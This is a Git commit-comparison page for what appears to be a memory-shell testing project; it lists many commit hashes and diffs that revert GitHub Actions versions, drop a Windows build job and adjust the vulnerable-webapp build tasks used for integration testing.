Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e41f8347c6 | ||
|
|
47b628ee5b | ||
|
|
970e260b16 | ||
|
|
ebfb9323f8 | ||
|
|
818f42048d | ||
|
|
554719a447 | ||
|
|
42a9c00263 | ||
|
|
b1b44dbc4c | ||
|
|
0c5847b4dd | ||
|
|
ef1a77d11d | ||
|
|
8551c3b18f | ||
|
|
c1631b9401 | ||
|
|
e1a852a301 | ||
|
|
4fd1e4170f | ||
|
|
73f5694cac | ||
|
|
bac3023dfa | ||
|
|
baeb3daa50 | ||
|
|
5d28df0e39 | ||
|
|
b29d83d3b4 | ||
|
|
605379907b | ||
|
|
84c61629ff | ||
|
|
4a207e583a | ||
|
|
afb3d46080 | ||
|
|
102173b924 | ||
|
|
8b8cc7173d | ||
|
|
c43d87eea1 | ||
|
|
11e58495fc | ||
|
|
8491d6f964 | ||
|
|
1cf5f37086 | ||
|
|
cd8111d0d7 | ||
|
|
653665e479 | ||
|
|
79c3e0d929 | ||
|
|
50a60c4c65 | ||
|
|
90c20b5388 | ||
|
|
4652f644e4 | ||
|
|
c21d47140f | ||
|
|
fc3961a6bf | ||
|
|
962264f13e | ||
|
|
75495aee20 | ||
|
|
13a83d510b | ||
|
|
2582a12785 | ||
|
|
05bfa6fd1c | ||
|
|
40e6c55b6d | ||
|
|
bfda586d58 | ||
|
|
f0c88ab914 | ||
|
|
504dde9335 | ||
|
|
e4e86d2c8d | ||
|
|
dc898fd214 | ||
|
|
0ec52dd167 | ||
|
|
fac0748055 | ||
|
|
1926259fab | ||
|
|
bebd374737 | ||
|
|
6b1a569be9 | ||
|
|
bd308fae10 | ||
|
|
05729fc458 | ||
|
|
59fd17355b | ||
|
|
5e8529a0c7 | ||
|
|
f0526eeb28 | ||
|
|
fab623ac4f | ||
|
|
e9a0eb61d9 | ||
|
|
4f86572192 | ||
|
|
2216aafcad | ||
|
|
39b09cecb1 | ||
|
|
9be935694c | ||
|
|
8d68e18a23 | ||
|
|
29207c1b53 | ||
|
|
8c77a4049b | ||
|
|
1cf3c58b7b | ||
|
|
05892d4b8b | ||
|
|
4be54c0ecb | ||
|
|
5a614e3b39 | ||
|
|
34e1e53b67 | ||
|
|
13097cec99 | ||
|
|
b4af77ddb2 | ||
|
|
245ec99839 | ||
|
|
81926b0a78 | ||
|
|
6ccd139444 | ||
|
|
fd1a560aa2 | ||
|
|
55f676553c | ||
|
|
26b4f48e98 | ||
|
|
131222cf29 | ||
|
|
7b390b7773 | ||
|
|
f8696dada5 | ||
|
|
0e0307fb97 | ||
|
|
798e447ab6 | ||
|
|
c495ef46a4 | ||
|
|
69ef9ab230 | ||
|
|
d6ef24b878 | ||
|
|
d06f238e2f | ||
|
|
12d2a191b2 | ||
|
|
86b31b193d | ||
|
|
beb22b3ab1 | ||
|
|
d0acb7712a | ||
|
|
e7c69befe8 | ||
|
|
4134c7233b | ||
|
|
d179ceada7 | ||
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c | ||
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 | ||
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 | ||
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 | ||
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 | ||
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f | ||
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 | ||
|
|
0192aa58ea | ||
|
|
00b807f5f8 | ||
|
|
cd189a74f7 | ||
|
|
690cfb833f | ||
|
|
45f2bb148d | ||
|
|
e7a14bf2e3 | ||
|
|
28fb25781b | ||
|
|
58f471ca2c | ||
|
|
db87c3f317 | ||
|
|
5635deff23 | ||
|
|
bda018b93f | ||
|
|
4d36c0bc8f | ||
|
|
ad4a0cf2bf | ||
|
|
9c820f9d29 | ||
|
|
a48442fcab | ||
|
|
68791f6c15 | ||
|
|
479b2a0c16 | ||
|
|
a148fa1cb9 | ||
|
|
116f1034b0 | ||
|
|
db55765fdf | ||
|
|
8b67d639bd | ||
|
|
cead11c781 | ||
|
|
43dc5ca398 | ||
|
|
ede78f3efc | ||
|
|
72370a3b84 | ||
|
|
ad248f0703 | ||
|
|
358f66ff01 | ||
|
|
76a78f14e0 | ||
|
|
33a9008ecb | ||
|
|
b27b40c543 | ||
|
|
74cc792dc6 | ||
|
|
348e86079a | ||
|
|
d4160d9a94 | ||
|
|
19c40e0e2d | ||
|
|
b49af93bec | ||
|
|
d9e3e03def | ||
|
|
bba2b2d211 | ||
|
|
56f0e8001d | ||
|
|
2f80ecb020 | ||
|
|
b3bda20f2c | ||
|
|
be5a2089d2 | ||
|
|
9d2e8125d9 | ||
|
|
8964769be8 | ||
|
|
3acab6e620 | ||
|
|
5148414ca8 | ||
|
|
0b10a55f66 | ||
|
|
cbf2d02808 | ||
|
|
775fc38abe | ||
|
|
6b3f4a2606 | ||
|
|
52c720572f | ||
|
|
5e2242665b | ||
|
|
cdd145d0b2 | ||
|
|
18aa8ed60d | ||
|
|
3e40763724 | ||
|
|
eda6134262 | ||
|
|
9d81160b33 | ||
|
|
115b57c62e | ||
|
|
1b8a845635 | ||
|
|
3ccbd14256 | ||
|
|
56510c89db | ||
|
|
358184f71b | ||
|
|
6ee9e31aa8 | ||
|
|
501f7a2d10 | ||
|
|
8b3c23241a | ||
|
|
3af560a5e0 | ||
|
|
a8d1b5e29a | ||
|
|
21f9af2f70 | ||
|
|
583abbf9ba | ||
|
|
e71f980991 | ||
|
|
d9c3bcb5dd | ||
|
|
61905e35ca | ||
|
|
27f3a7b206 | ||
|
|
bcb9d23f64 | ||
|
|
d993a54fa9 | ||
|
|
7eb8baeaf2 | ||
|
|
591375f522 | ||
|
|
6436d404d7 | ||
|
|
ef487f86d2 | ||
|
|
011f919e2a | ||
|
|
f8624f0e72 | ||
|
|
b287fcd36f | ||
|
|
7fb404f04f | ||
|
|
45dc276300 | ||
|
|
e811ca56ae | ||
|
|
58dd08754d | ||
|
|
6145918df7 | ||
|
|
6671dec9e6 | ||
|
|
f53c0655d4 | ||
|
|
1bcecaa151 | ||
|
|
e21b397699 | ||
|
|
cd870594b0 | ||
|
|
067dae90ff | ||
|
|
69b5b5e99f | ||
|
|
29edaf173a | ||
|
|
4f8ab4d16a | ||
|
|
ee3bab6876 | ||
|
|
6523ecd554 | ||
|
|
f97c0cd3db | ||
|
|
7da215bd35 | ||
|
|
8171da5df3 | ||
|
|
92e38ae004 | ||
|
|
6113ea717f | ||
|
|
a6cc7705c3 | ||
|
|
84b884a3d8 | ||
|
|
828b7b8400 | ||
|
|
786e58cafc | ||
|
|
5ce3e67dc4 | ||
|
|
94e29588bb | ||
|
|
fa1ca573ae | ||
|
|
78795f3b95 | ||
|
|
3efe814d30 | ||
|
|
8d7ed8c4ee | ||
|
|
cc58c2ef87 | ||
|
|
4f69497680 | ||
|
|
c046d466db | ||
|
|
9291281a4e | ||
|
|
50234947b7 | ||
|
|
075ce8c515 | ||
|
|
ca4c1d6e4b | ||
|
|
d4067caee5 | ||
|
|
cf65fbb53c | ||
|
|
962914fa8d | ||
|
|
f90f0f0713 | ||
|
|
a64238eea0 | ||
|
|
ce11635876 | ||
|
|
1015c55b6d | ||
|
|
8ed16fc818 | ||
|
|
24a9b563e6 | ||
|
|
8d5af74733 | ||
|
|
363d0591dc | ||
|
|
fe1a443c0d | ||
|
|
113b174837 | ||
|
|
f42424ba7c | ||
|
|
19ecd109fc | ||
|
|
9f763906ae | ||
|
|
be91430bd5 | ||
|
|
5bed6c877d | ||
|
|
633508ceda | ||
|
|
e26cb37805 | ||
|
|
3efda487e9 | ||
|
|
f92d7207c8 | ||
|
|
5540016f12 | ||
|
|
0402065457 | ||
|
|
9fae3847ae | ||
|
|
f4bc254ed3 | ||
|
|
a1d4a6d8fa | ||
|
|
7afa5d97f6 | ||
|
|
a6f5ee96d6 | ||
|
|
1f04701cc1 | ||
|
|
b272c9739b | ||
|
|
b5903f39fa | ||
|
|
99c53b6287 | ||
|
|
1dfc28cd33 | ||
|
|
c44ae3ad4f | ||
|
|
b5031012ba | ||
|
|
5340de9b71 | ||
|
|
f71657b11c | ||
|
|
d6612d7630 | ||
|
|
858212cd9c | ||
|
|
8e36beaad1 | ||
|
|
d511a8346f | ||
|
|
b8116ac0a5 | ||
|
|
155310a685 | ||
|
|
a6a1cff2c4 | ||
|
|
7ae28d5457 | ||
|
|
8a909971f1 | ||
|
|
371402c144 | ||
|
|
2b34b80e40 | ||
|
|
b694073f33 | ||
|
|
2f2ef8a774 | ||
|
|
86734f8485 | ||
|
|
393693b89b | ||
|
|
2da2e180cb | ||
|
|
8e741b6647 | ||
|
|
717c81571b | ||
|
|
2ec43d97dd | ||
|
|
c9a536d2fd | ||
|
|
74a919c6ec | ||
|
|
e123c7485e | ||
|
|
d6d10dead0 | ||
|
|
696814fd2c | ||
|
|
87147d738a | ||
|
|
c205e69563 | ||
|
|
dddbc15dd8 | ||
|
|
77ae8c1559 | ||
|
|
3fe380ef8a | ||
|
|
a54c307bd5 | ||
|
|
3d14f0113e | ||
|
|
b1d449538d | ||
|
|
4f1634a843 | ||
|
|
8fe2b47805 | ||
|
|
c30e99a92c | ||
|
|
5f4880e72a | ||
|
|
b7326a386b | ||
|
|
6b9655bb6c | ||
|
|
f9b109d922 | ||
|
|
ee82fc102d | ||
|
|
cfa4bfdb1d | ||
|
|
889d1d87c7 | ||
|
|
bea468a311 | ||
|
|
e31d8e751d | ||
|
|
92bda08567 | ||
|
|
d052177731 | ||
|
|
76dab18099 | ||
|
|
6e729d0e35 | ||
|
|
328939db6a | ||
|
|
32c5242c52 | ||
|
|
c860bbfd87 | ||
|
|
b32c9e701e | ||
|
|
41c193074e | ||
|
|
eaf6a81c85 | ||
|
|
22392829e5 | ||
|
|
65a7fd46e3 | ||
|
|
7dd02f4431 | ||
|
|
54f38e48d2 | ||
|
|
c232e64b13 | ||
|
|
78e9401492 | ||
|
|
a5c8058cad | ||
|
|
3189ef8f70 | ||
|
|
c859655e3a | ||
|
|
1272ee46b4 | ||
|
|
b83a72a3c8 | ||
|
|
89e4c796b4 | ||
|
|
ff3c1f2c49 | ||
|
|
2dc406df34 | ||
|
|
6c23a15034 | ||
|
|
6b81791ff5 | ||
|
|
6ba96f5e5a | ||
|
|
21df9f8273 | ||
|
|
4219f1ba9d | ||
|
|
0d69049506 | ||
|
|
385e1e0102 | ||
|
|
12fde31663 | ||
|
|
9f1f4b76aa | ||
|
|
4d1291f209 | ||
|
|
43653b2a1b | ||
|
|
514f13f515 | ||
|
|
ff69716423 | ||
|
|
fc431b9ace | ||
|
|
944e72f8c5 | ||
|
|
7be31dc481 | ||
|
|
dfc714862e | ||
|
|
c7c4b8be84 | ||
|
|
75019e9847 | ||
|
|
c6f13dde5e | ||
|
|
fcbec8db19 | ||
|
|
b9f307dd7b | ||
|
|
a895826bdb | ||
|
|
527dad824e | ||
|
|
534db31fa0 | ||
|
|
2b00c96a06 | ||
|
|
22e3b9ab24 | ||
|
|
901483c1db | ||
|
|
c9351dcd68 | ||
|
|
845fbd5529 | ||
|
|
fe2192396a | ||
|
|
63c0d89462 | ||
|
|
2436c707db | ||
|
|
c49d3e1909 | ||
|
|
7f9276364a | ||
|
|
57feb7809c | ||
|
|
6e330bb9c1 | ||
|
|
8fcca5b70e | ||
|
|
f3b3ca7b2e | ||
|
|
5ec6f6c3cc | ||
|
|
699169d277 | ||
|
|
6197d66ee8 | ||
|
|
7efbff4a45 | ||
|
|
37e336e088 | ||
|
|
65fb0a05df | ||
|
|
6bdc47a7d5 | ||
|
|
9ed876297a | ||
|
|
74cb677e98 | ||
|
|
13ddea499a | ||
|
|
82fddf702f | ||
|
|
8530797a54 | ||
|
|
6d12cbba36 | ||
|
|
992aa8a29d | ||
|
|
4ddf8dd3d1 | ||
|
|
6d7a665ba7 | ||
|
|
15e3af9374 | ||
|
|
c39075eaae | ||
|
|
6c523c55c7 | ||
|
|
bb76313410 | ||
|
|
1f4a19dd83 | ||
|
|
385de37d56 | ||
|
|
7ddf2c09c4 | ||
|
|
40c036ab92 | ||
|
|
59b0aeaaca | ||
|
|
3756197bab | ||
|
|
6020e5eaa9 | ||
|
|
9360408f6d | ||
|
|
0cd08f2a6c | ||
|
|
1ff8fa6128 | ||
|
|
c07fcc28a4 | ||
|
|
cfc4c0531f | ||
|
|
13cbbdb54f | ||
|
|
4feeca1ca8 | ||
|
|
64f8724903 | ||
|
|
4f4384838a | ||
|
|
c72ae586a2 | ||
|
|
d7a40f74b8 | ||
|
|
0e250cac90 | ||
|
|
209fc378d0 | ||
|
|
d541041f51 | ||
|
|
6617d9cc16 | ||
|
|
ec42992c8a | ||
|
|
3004221fad | ||
|
|
98b955673b | ||
|
|
a7cee2ea21 | ||
|
|
b6e6b69339 | ||
|
|
cc05dc3934 | ||
|
|
61bf9d25bb | ||
|
|
ffbe1e454b | ||
|
|
85576ab6c7 | ||
|
|
365f4efea0 | ||
|
|
a0d6cbee82 | ||
|
|
421f011974 | ||
|
|
0035d1f6a5 | ||
|
|
ba9a7878e0 | ||
|
|
75ea80f153 | ||
|
|
9c5aabb8f0 | ||
|
|
7887a48fa8 | ||
|
|
c07e1fcf19 | ||
|
|
d2036b87f4 | ||
|
|
b09b671831 | ||
|
|
d3d3c0186d | ||
|
|
706e2b06d4 | ||
|
|
e0345767d6 | ||
|
|
7d697fe2ec | ||
|
|
14c62376d7 | ||
|
|
065c111ad7 | ||
|
|
f3da4292bb | ||
|
|
ed51f01b29 | ||
|
|
81007167ff | ||
|
|
288766eb9c | ||
|
|
b8d4c91a1f | ||
|
|
46dff40932 | ||
|
|
f7bf419f31 | ||
|
|
9fe244e9ca | ||
|
|
b0ef130e87 | ||
|
|
714fa99c90 | ||
|
|
1a12d426dc | ||
|
|
00c36ab90d | ||
|
|
0e7aa6b0b0 | ||
|
|
96a00c9dcc | ||
|
|
886d808f31 | ||
|
|
b6c881c5cb | ||
|
|
400a7bfab7 | ||
|
|
b78984b858 | ||
|
|
21afe14ccd | ||
|
|
7fa4dee03b | ||
|
|
e718af7440 | ||
|
|
a530d77351 | ||
|
|
671aef548b | ||
|
|
9661eefc3e | ||
|
|
d620212eb0 | ||
|
|
7d3eb11be6 | ||
|
|
f0905d83a8 | ||
|
|
65c9d5847d | ||
|
|
bbeff2726d | ||
|
|
a20f760cd5 | ||
|
|
56d5410279 | ||
|
|
0cc70940c3 | ||
|
|
d148261a37 | ||
|
|
2660076eda | ||
|
|
05b85670d5 | ||
|
|
b904fe0851 | ||
|
|
c904f313e2 | ||
|
|
7a453faeb0 |
@@ -1,19 +0,0 @@
|
||||
.git
|
||||
.gradle
|
||||
.idea
|
||||
.vscode
|
||||
.DS_Store
|
||||
|
||||
**/.DS_Store
|
||||
**/.gradle
|
||||
**/build
|
||||
**/bin
|
||||
|
||||
web/.react-router
|
||||
web/.source
|
||||
web/build
|
||||
web/node_modules
|
||||
|
||||
integration-test
|
||||
tools
|
||||
vul
|
||||
@@ -12,21 +12,18 @@ on:
|
||||
jobs:
|
||||
build-jar:
|
||||
name: Build Jar
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v5
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
@@ -42,17 +39,11 @@ jobs:
|
||||
working-directory: web
|
||||
run: bun install --frozen-lockfile && bun run build
|
||||
|
||||
- name: Build Boot with Gradle (Linux)
|
||||
if: matrix.os == 'ubuntu-latest'
|
||||
- name: Build Boot with Gradle
|
||||
run: ./gradlew :boot:test :boot:bootjar
|
||||
|
||||
- name: Build Boot with Gradle (Windows)
|
||||
if: matrix.os == 'windows-latest'
|
||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
||||
|
||||
- name: Upload Boot Jar (Linux)
|
||||
if: matrix.os == 'ubuntu-latest'
|
||||
uses: actions/upload-artifact@v7
|
||||
- name: Upload Boot Jar
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs/*.jar
|
||||
@@ -62,28 +53,28 @@ jobs:
|
||||
needs: [ build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Download Boot Jar
|
||||
uses: actions/download-artifact@v8
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs
|
||||
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v4
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v7
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: boot
|
||||
platforms: linux/amd64,linux/arm64
|
||||
@@ -95,15 +86,15 @@ jobs:
|
||||
needs: [ build-jar ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v5
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v6
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Publish with Gradle
|
||||
env:
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
name: Docker Build Test
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
@@ -23,7 +22,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v6
|
||||
uses: actions/checkout@v4
|
||||
- name: Build Docker image
|
||||
run: |
|
||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||
|
||||
@@ -15,21 +15,21 @@ jobs:
|
||||
name: Docker Push
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v4
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v4
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
registry: docker.io
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v4
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build and push RedQueen
|
||||
uses: docker/build-push-action@v7
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
@@ -9,7 +9,6 @@ on:
|
||||
- './github/workflows/memshell-integration-test.yml'
|
||||
- '**/memshell/**'
|
||||
- '**/packer/**'
|
||||
- '**/dubbo/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
@@ -24,9 +23,9 @@ jobs:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
